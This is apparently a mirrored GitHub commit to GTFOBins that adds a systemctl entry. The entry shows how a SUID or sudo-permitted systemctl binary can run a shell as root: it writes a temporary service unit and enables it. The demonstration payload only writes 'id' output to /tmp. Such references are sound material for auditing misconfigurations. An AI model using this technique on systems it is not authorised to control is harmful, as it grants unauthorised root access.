mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add systemctl
This commit is contained in:
parent
0109792b7e
commit
a2886b643d
23
_gtfobins/systemctl.md
Normal file
23
_gtfobins/systemctl.md
Normal file
@ -0,0 +1,23 @@
|
||||
---
|
||||
functions:
|
||||
suid:
|
||||
- code: |
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
./systemctl link $TF
|
||||
./systemctl enable --now $TF
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
sudo systemctl link $TF
|
||||
sudo systemctl enable --now $TF
|
||||
---
|
Loading…
Reference in New Issue
Block a user